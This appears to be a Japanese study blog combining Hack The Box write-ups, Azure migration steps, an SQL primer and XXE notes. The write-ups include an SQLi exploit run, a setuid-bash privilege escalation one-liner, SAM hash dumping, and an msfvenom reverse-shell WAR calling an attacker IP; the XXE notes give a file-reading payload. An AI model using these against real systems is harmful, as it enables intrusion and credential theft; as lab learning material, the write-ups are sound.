HTB-Writeup

◆userフラグを回収

1.nmap

===

nmap-tcp.log 10.10.10.138
Nmap scan report for 10.10.10.138
Host is up, received echo-reply ttl 63 (0.26s latency).
Scanned at 2022-09-17 13:40:32 JST for 37s
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKBbBK0GkiCbxmAbaYsF4DjDQ3JqErzEazl3v8OndVhynlxNA5sMnQmyH+7ZPdDx9IxvWFWkdvPDJC0rUj1CzOTOEjN61Qd7uQbo5x4rJd3PAgqU21H9NyuXt+T1S/Ud77xKei7fXt5kk1aL0/mqj8wTk6HDp0ZWrGBPCxcOxfE7NBcY3W++IIArn6irQUom0/AAtR3BseOf/VTdDWOXk/Ut3rrda4VMBpRcmTthjsTXAvKvPJcaWJATtRE2NmFjBWixzhQU+s30jPABHcVtxl/Fegr3mvS7O3MpPzoMBZP6Gw8d/bVabaCQ1JcEDwSBc9DaLm4cIhuW37dQDgqT1V
|   256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPzrVwOU0bohC3eXLnH0Sn4f7UAwDy7jx4pS39wtkKMF5j9yKKfjiO+5YTU//inmSjlTgXBYNvaC3xfOM/Mb9RM=
|   256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEuLLsM8u34m/7Hzh+yjYk4pu3WHsLOrPU2VeLn22UkO
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.25 *1
| http-robots.txt: 1 disallowed entry 
|_/writeup/
|_http-title: Nothing here yet.
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

===

 

2.80番ポートにアクセス

注意:BruteforseをするとIPが1分間ブロックされてしまうので、以下を調べた。

http:///robots.txt

3.writeupのディレクトリにアクセス

4.burpでレスポンスを見てみると、CMS Made Simpleが使用されていることがわかる。

 私は基本的にサイトにアクセスするときは、burpを使用することが多い。

 

5.searchsploitでエクスプロイトを検索すると

SQLiのエクスプロイト(46635.py)があったのでそれを使う。

※Python2で書かれているため、セットアップしておいたほうが良い。

 

▼実行結果

===
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
[+] Password cracked: raykayjay9
===

 

6.sshを行いuser.txtを開きflag回収。

 

◆rootフラグを回収

1.列挙のためlinpeasとpspyをアップロード

 このアップロード方法ではscpコマンドを使用して/tmpに各ファイルを置いた。

 

2.linpeasを実行

実行結果の中にjkrユーザは、staffという名前のグループに属されていることに気が付いた。

そこでグーグルを使用して調べてみたところ以下の記事を見つけた。

raspberrypi.stackexchange.com

 

以下の結果から/usr/local/binが赤くなっていたので、ls -ldをしてパーミッションの確認を行った。

書き込み権限があることが分かった。

 

3.pspyを実行

pspyを実行したまま、別のターミナルからsshを行ってみたところ以下の出力があった。

 

4.run-partsをハイジャックするために、以下の以下の方法で行う。

echo -e '#!/bin/bash\n\ncp /bin/bash /bin/alien\nchmod u+s /bin/alien' > /usr/local/bin/run-parts; chmod +x /usr/local/bin/run-parts

  1.cpコマンドを利用して/bin/bashを/bin/alienにコピーを行う。

  2./bin/alienに対して、u+sでrootとして実行されるようにする。

  3. それを/usr/local/bin/run-partsに書き込む

  4.さらにrun-partsへ実行権限を与える。

 

5.別のターミナルからsshで接続する。

完了したら、以下のコマンドを実行してroot権限へ昇格できる。

 

 

 

Azure - リージョン間の移行

◆Azure 移行手順 (Linux)
  1.VMの一般化
   ・以下のコマンドを実行
    ※このコマンドを入力すると、マシン固有のファイルとデータが消えてしまうので注意。
    # sudo waagent -deprovision
   ・Azure CLIにて以下の作業を行う。
     ・以下のコマンドを使用して、プロビジョニング解除したVMの割り当てを解除して一般化する。
       # az vm deallocate --resource-group <リソースグループ名> --name <VM名>
     ・VMをプラットフォームにて一般化済みとしてマークする必要があるので以下のコマンドを入力。
       # az vm generalize --resource <リソースグループ名> --name <VM名> 
  2.イメージを作成
    ・ポータルからキャプチャをクリック。
      ・サブスクリプション
        └リソースグループ:イメージを書き出す先を選択
      ・ターゲットAzureコンピュートギャラリー:新規作成 > imageVM
      ・ターゲットVMイメージ定義:移行するサーバと同じOSを選択する。
      ・バージョン詳細
       ・バージョン番号:0.0.1を選択して、入力

【HTB】Bastion

1.nmap -sC -sT -sV 10.10.10.134でポートスキャン。

▼実行結果

+++

PORT    STATE SERVICE      VERSION

22/tcp  open  ssh          OpenSSH for_Windows_7.9 (protocol 2.0)

| ssh-hostkey:

|   2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)

|   256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)

|_  256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)

135/tcp open  msrpc        Microsoft Windows RPC

139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn

445/tcp open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds

Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

 

Host script results:

| smb-security-mode:

|   account_used: guest

|   authentication_level: user

|   challenge_response: supported

|_  message_signing: disabled (dangerous, but default)

| smb2-time:

|   date: 2022-05-17T14:48:14

|_  start_date: 2022-05-17T14:43:50

| smb2-security-mode:

|   3.1.1:

|_    Message signing enabled but not required

| smb-os-discovery:

|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)

|   Computer name: Bastion

|   NetBIOS computer name: BASTION\x00

|   Workgroup: WORKGROUP\x00

|_  System time: 2022-05-17T16:48:12+02:00

|_clock-skew: mean: -40m01s, deviation: 1h09m15s, median: -2s

+++

 

上記の結果からsshのポートとSMBで使用するポートがあることが分かった。

 

2.smbclientでパスワードなしでアクセスしてみた。

# smbclient -L 10.10.10.134 -U user

+++

ADMIN$ Disk Remote Admin

Backups Disk

C$ Disk Default share

IPC$ IPC Remote IPC

+++

 

とりあえずバックアップ用のディスクが気になったので、マウントして確認することにした。

 

3.backupsをマウント

#sudo mount //10.10.10.134/Backups /mnt/bastion/

このディレクトリが気になったのでls。

/mnt/bastion/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351

+++

-rwxr-xr-x 1 root root 37M Feb 22 2019 9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd

-rwxr-xr-x 1 root root 5.1G Feb 22 2019 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd

-rwxr-xr-x 1 root root 1.2K Feb 22 2019 BackupSpecs.xml

-rwxr-xr-x 1 root root 1.1K Feb 22 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml

-rwxr-xr-x 1 root root 8.8K Feb 22 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml

-rwxr-xr-x 1 root root 6.4K Feb 22 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml

-rwxr-xr-x 1 root root 2.9K Feb 22 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml

-rwxr-xr-x 1 root root 1.5K Feb 22 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml

-rwxr-xr-x 1 root root 1.5K Feb 22 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml

-rwxr-xr-x 1 root root 3.8K Feb 22 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml

-rwxr-xr-x 1 root root 3.9K Feb 22 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml

-rwxr-xr-x 1 root root 7.0K Feb 22 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml

-rwxr-xr-x 1 root root 2.3M Feb 22 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml

+++

 

この中でvhdがあることがわかる。

これは仮想化ソフトなどが使用するファイル形式の一つでOSを丸っと写し取ったような構成になっている。

 

これもマウント可能なのでマウントしてSAMとSYSTEMを確認してみる。

 

4.vhdをマウントする。

#sudo guestmount --add /mnt/bastion/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd  --inspector --ro -v /mnt/vhd

 

SAMとSYSTEMは以下のファイルにある。(資格情報が記載されているファイル/etc/passwdと/etc/shadowみたいな?)

dir:c:\windows\System32\config\

 

5.ローカルにコピー

6.コピーしたら以下のコマンドを実施。

# impacket-secretsdump -sam SAM -system SYSTEM local

これは、SAMとSYSTEMを正しいハッシュに変換してくれる。

+++

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Guest:501            :aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

L4mpje:1000       :aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::

+++

※以下の文字列はデータがないことを意味している。

aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

7.以下のURLにアクセスをしてLMハッシュをクラックする。

https://crackstation.net/

 

8.クラックできたらsshでログインを行いc:\Users\ユーザ名\Desktopでuser.flagが手に入る。

 

★権限昇格

1.c:\Users\L4mpje\appdata\Roaming\mRemoteNG配下にあるconfCons.xmlを取得する。

 

mRemoteNGは、バグ修正と新機能をmRemoteに追加する。

また、confcons.xmlは接続情報や資格情報が格納されているファイル。

 

2.コピーできたら開きPasswordを確認する。

base64エンコードされているのでこれをでコードし再度sshでユーザはadministratorで接続し完了。

 

以上。

【HTB】Jerry

1. nmapにてスキャンをするただしtcpの応答に対して何かフィルターをしてそうなので-sSを使用。そこでApache-Tomcatを使用しているのがわかった。


2. hacktrickを調べてみたところ興味深い記事にあたった。

<https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/tomcat>
●Default credentials

   ※デフォルトクレデンシャルに関してはほかにもあるのでさらに調べる必要があった。しかし興味深い文面があり、/Tomcat/htmlがあるとのこと。(Tomcatの管理画面?)

 

 

3. tomcat : s3rcretでログイン後、warファイルをアップロードする箇所がある。

※理由はわからないが、warエクスプロイトをUPしようとしたところエラー(403になる)になり、色々試した結果ターゲットマシンを再起動したらうまく行けた。

 

4.msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.9 LPORT=4444 -f war > shell.warを入力しエクスプロイトを作成。

 

5.unzip shell.warを解凍し.jspのファイル名を確認。

warは圧縮ファイルらしい。(初めて知った。)

 

6. choicefileをクリックして先ほど作成したwarをアップロードする。

   nc -nlvp 4444

7. http://:8080/shell/した際の.jspのファイル名を入力>を入力。

 

8. reverseshell成功

 

~~~今回の反省と勉強になった点~~~

tomcatに管理画面があるのを初めて知った。

クレデンシャルに関して1つのブログではなくほかにも調べるべきだった。

admin:adminでログインできたので、それでよいと思ってしまったが権限が足りていなかった。

warが圧縮ファイルなのを初めて知った。

nmapが正しくできないなどのネットワーク周りでトラブったときはとりあえずwireshark。

 

SQL

SQLはデータベースへの問い合わせに使われる機能豊富な言語で、これらのSQLクエリはステートメントと呼ばれる。 

 

SQLの構文は、大文字と小文字を区別しないことに注意 

 

◆SELECT 

 ・データベースからデータを所得するために使用するSELECTクエリのタイプ。 

  #SELECT * FROM users; 

id 

Username 

Password 

1 

jon 

pass123 

2 

admin 

P4ssword 

3 

martin 

secret123 

 

SELECT:あるデータを取得したいことをDBに伝える。 

*     :データからすべてのcolumnを受信したいことをデータベースに伝える。 

  上記のテーブルには3つのcolumn(id、Username、Password)が含まれる。 

FROM users:usersという名前のテーブルからデータを取得することを意味する。 

;         :クエリの最後であることをデータベースに伝える。 

 

 

・次のクエリは*を使うのではなく、すべてのcolumnを取得するのではなく、 

 Usersという名前のテーブルから、「Username」と「Password」のcolumnのみ 

 を取得する構文となる。 

 # SELECT Username,Password FROM users; 

Username 

Password 

jon 

pass123 

admin 

P4ssword 

martin 

Secret123 

 

・「LIMIT 1」句によって、データベースが1行分のデータのみを返すように強制 

 このクエリをLIMIT 1,1に変更すると、最初の結果がスキップされる。 

 LIMIT 2,1にすると最初の2つの結果、といった具合にスキップされる。 

 最初の数字のスキップしたい結果の数を2番目の数字は返すべき行数を、 

 それぞれデータベース側に伝えるということを覚えておく必要がある。 

 

# SELECT * FROM user LIMIT 1; 

id 

Username 

Password 

1 

jon 

pass123 

 

# SELECT * FROM user LIMIT 1,1; 

Username 

Password 

admin 

P4ssword 

 

# SELECT * FROM user LIMIT 2,1; 

Username 

Password 

martin 

Secret123 

 

・WHERE節を利用する。 

 特定の節にマッチしたデータを返すことで、必要なデータをきめ細かく 

 ピックアップできる。 

・ユーザ名がadminと等しい行のみを返す。 

 

# SELECT * FROM users WHRER Username='admin'; 

id 

Username 

Password 

2 

admin 

P4ssword 

 

・ユーザ名がadminと等しくない行だけを返す。 

# SELECT * FROM users WHERE Username !='admin'; 

id 

Username 

Password 

1 

jon 

pass123 

3 

martin 

secret123 

 

・ユーザ名がadminかjonのどちらかである行だけを返す。 

# SELECT * FROM users WHERE Username ='admin' or username='jon'; 

id 

Username 

Password 

1 

jon 

pass123 

2 

admin 

P4ssword 

 

・ユーザ名がadmin、パスワードがP4sswordと等しい行のみを返す。 

# SELECT * FROM users WHERE Username='admin' and Password='P4ssword'; 

id 

Username 

Password 

2 

admin 

P4ssword 

 

・like節を使うと、完全一致ではなく、特定の文字で始めるか、含めるか、 

 終わるかのデータを、パーセント記号%で表せるワールドワイドカード文字 

 を配置する場所を選択することでしていることができる。 

 

・ユーザ名がアルファベットのaで始まる行をすべて返す。 

# SELECT * FROM users WHERE Username like '%a'; 

id 

Username 

Password 

2 

admin 

P4ssword 

 

・ユーザ名にmiという文字が含まれる行をすべて返す。 

#SELECT * FROM users WHERE Username like '%mi%'; 

id 

Username 

Password 

2 

admin 

P4ssword 

 

◆UNION 

 UNION文は、2つ以上のSELECT文の結果を組み合わせて、単一または複数の 

 テーブルからデータを取得する。 

 このクエリのルールは、以下のものがある。 

  ・各SELECT文で同じ数の例を取得すること。 

  ・列は同様のデータ型であること。 

  ・列の順序が同じであること。 

   

・解説の前提、以下のcustomersというテーブルがある。columnとデータは以下の通り 

id 
 

name 
 

address 
 

city 
 

postcode 
 

1 
 

Mr John Smith 
 

123 Fake Street 
 

Manchester 
 

M2 3FJ 
 

2 
 

Mrs Jenny Palmer 
 

99 Green Road 
 

Birmingham 
 

B2 4KL 
 

3 
 

Miss Sarah Lewis 
 

15 Fore Street 
 

London 
 

NW12 3GH 
 
 

 

・もう一つはsuppliersというテーブル。 

id 
 

company 
 

address 
 

city 
 

postcode 
 

1 
 

Widgets Ltd 
 

Unit 1a, Newby Estate 
 

Bristol 
 

BS19 4RT 
 

2 
 

The Tool Company 
 

75 Industrial Road 
 

Norwich 
 

N22 3DR 
 

3 
 

Axe Makers Ltd 
 

2b Makers Unit, Market Road 
 

London 
 

SE9 1KK 
 
 

 

・以下のSQLステートメントを使用すると、2つのテーブルから結果を収集し、1つの 

 結果セットにすることができる。 

# SELECT name,address,city,postcode FROM customers UNION SELECT company,address,city,postcode FROM suppliers; 

name 
 

address 
 

city 
 

postcode 
 

Mr John Smith 
 

123 Fake Street 
 

Manchester 
 

M2 3FJ 
 

Mrs Jenny Palmer 
 

99 Green Road 
 

Birmingham 
 

B2 4KL 
 

Miss Sarah Lewis 
 

15 Fore Street 
 

London 
 

NW12 3GH 
 

Widgets Ltd 

Unit 1a, Newby Estate 

Bristol 

BS19 4RT 

The Tool Company 

75 Industrial Road 

Norwich 

N22 3DR 

Axe Makers Ltd 

2b Makers Unit, Market Road 

London 

SE9 1KK 
 
 

 

◆INSERT 

  INSERT文は、データベースに新しいデータ行をテーブルに挿入することを 

 指示する。 

 "into users"はデータを挿入したいテーブルをデータベースに伝え、 

  "(username,password)'はデータを提供するcolumnを、 

  そして"values ('bob',password');"は先にしていたcolumnにデータを提供する。 

 

# insert into users (Username,password) values ('bob','password'); 

id 
 

username 
 

password 
 

1 
 

jon 
 

pass123 
 

2 
 

admin 
 

p4ssword 
 

3 
 

martin 
 

secret123 
 

4 
 

bob 
 

password123 

 

◆UPDATE 

 UPDATE文は、データベースに対して、テーブル内の1つ以上のデータ行を更新する 

 ことを指定する。 

# UPDATE users SET username='root',password='pass123' WHERE username='admin'; 

id 
 

username 
 

password 
 

1 
 

jon 
 

pass123 
 

2 
 

root 
 

pass123 
 

3 
 

martin 
 

secret123 
 

4 
 

bob 
 

password123 

 

・UPDATE:UPDATE <テーブル名>で更新したいテーブルを指定。 

・username=root,password=pass123:カンマ区切りのリストで更新したいフィールドを 

 選択。 

・WHERE username='admin';などのWHERE節を使って更新する行を正確に指定する 

 ことができる。 

 

◆DELETE 

 1つまたは複数のデータ行を削除することをデータベースに伝える。 

 返したい列がないことを除けば、クエリのフォーマットのフォーマットはSELECTと 

 よく似ている。 

 WHERE節で削除するデータを正確に指定し、LIMIT節で削除する行数をしていること 

 ができる。 

# DELETE FROM users WHERE username="matin"; 

id 
 

username 
 

password 
 

1 
 

jon 
 

pass123 
 

2 
 

root 
 

pass123 
 

4 
 

bob 
 

password123 

 

#DELETE FROM users; 

id 
 

username 
 

password 

XXE Payload

◆いくつかのペイロード

 1.最初のペイロード

  nameというENTITYを定義し、それにfeastという値を割り当てている。

=========================================================

<!DOCTYPE replace [<!ENTITY name "feast"> ]>
 <userInfo>
  <firstName>falcon</firstName>
  <lastName>&name;</lastName>
 </userInfo>

=========================================================

 

2.ENTITYを定義し、SYSTEMキーワードを使用されることで、XXEを使用してシステム

 からファイルを読み込むことができる。

=========================================================

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
<root>&read;</root>

=========================================================

readという名前でENTITYを定義し、その値をSYSTEMとファイルのパスを設定している。

 

このペイロードを使用すると脆弱なWebサーバは/etc/passwdの内容を表示することになる。

 

 

XMLについて

XMLとは

 ・XML(eXtensible Markup Language)は、データの保存と転送に使用される

  マークアップ言語。

 ・なぜXMLを使うのか?

  1.XMLはぷらっとフォームやプログラミング言語に依存しないため、どのような

  システムでも使用することができ、技術改新が起こった場合にも対応することが

  できる。

 2.XMLを使用して保存・転送されるデータは、データの表示に影響を与えることなく

 任意の辞典で変更することができる。

 3.XMLは、DTDスキーマを使った検証が可能である。

 この検証により、XML文書に構文エラーがないことが保証される。

 4.XMLは、プラットフォームに依存しないため、様々なシステム間でのデータ共有が

 容易になる。XMLのデータは、異なるシステム間で転送する際に交換を必要としない

 

◆構文

 ・XML文書のほとんどは、XML Prologと呼ばれるものから始まる。

 

  <?xml version="1.0" encoding="UTF-8"?>

 

 ・すべてのXML文書はROOT要素を含まなければならない。

  <?xml version="1.0" encoding="UTF-8"?>
  <mail>
     <to>falcon</to>
     <from>feast</from>
     <subject>About XXE</subject>
     <text>Teach about XXE</text>

  </mail>

 ・上記の例では<mail>がその文書のROOT要素で、<to>、<from>、<subuject>

       <text>が子要素。もしXML文書にルート要素がなければ、それは間違った、

  あるいは無効なXML文書とみなされる。

 

DTD

 ・DTDはDocument Type Definiton(文書型定義)の略。

 ・DTDは、XML文書の構造、法的な要素や属性を定義する。

=========================================================

 <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>

=========================================================

このDTDを利用して、あるXML文書の情報を検証し、そのXMLファイルがDTDの規則に

適合していることを確認することができるようになる。

 

以下は、note.dtdを使用したXML文書。

=========================================================

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
    <to>falcon</to>
    <from>feast</from>
    <heading>hacking</heading>
    <body>XXE attack</body>
</note>

=========================================================

!DOCTYPE note - noteというドキュメントのルート要素を定義する

!ELEMENT note - note要素が要素を含まなければならないことを定義します。"to、from、heading、body"

ELEMENT to - to 要素のタイプは "#PCDATA" であると定義します。

!ELEMENT from - from 要素のタイプを定義します。
"#PCDATA"

ELEMENT heading - "#PCDATA" 型の見出し要素を定義します。

!ELEMENT body - body 要素を "#PCDATA" 型に定義します。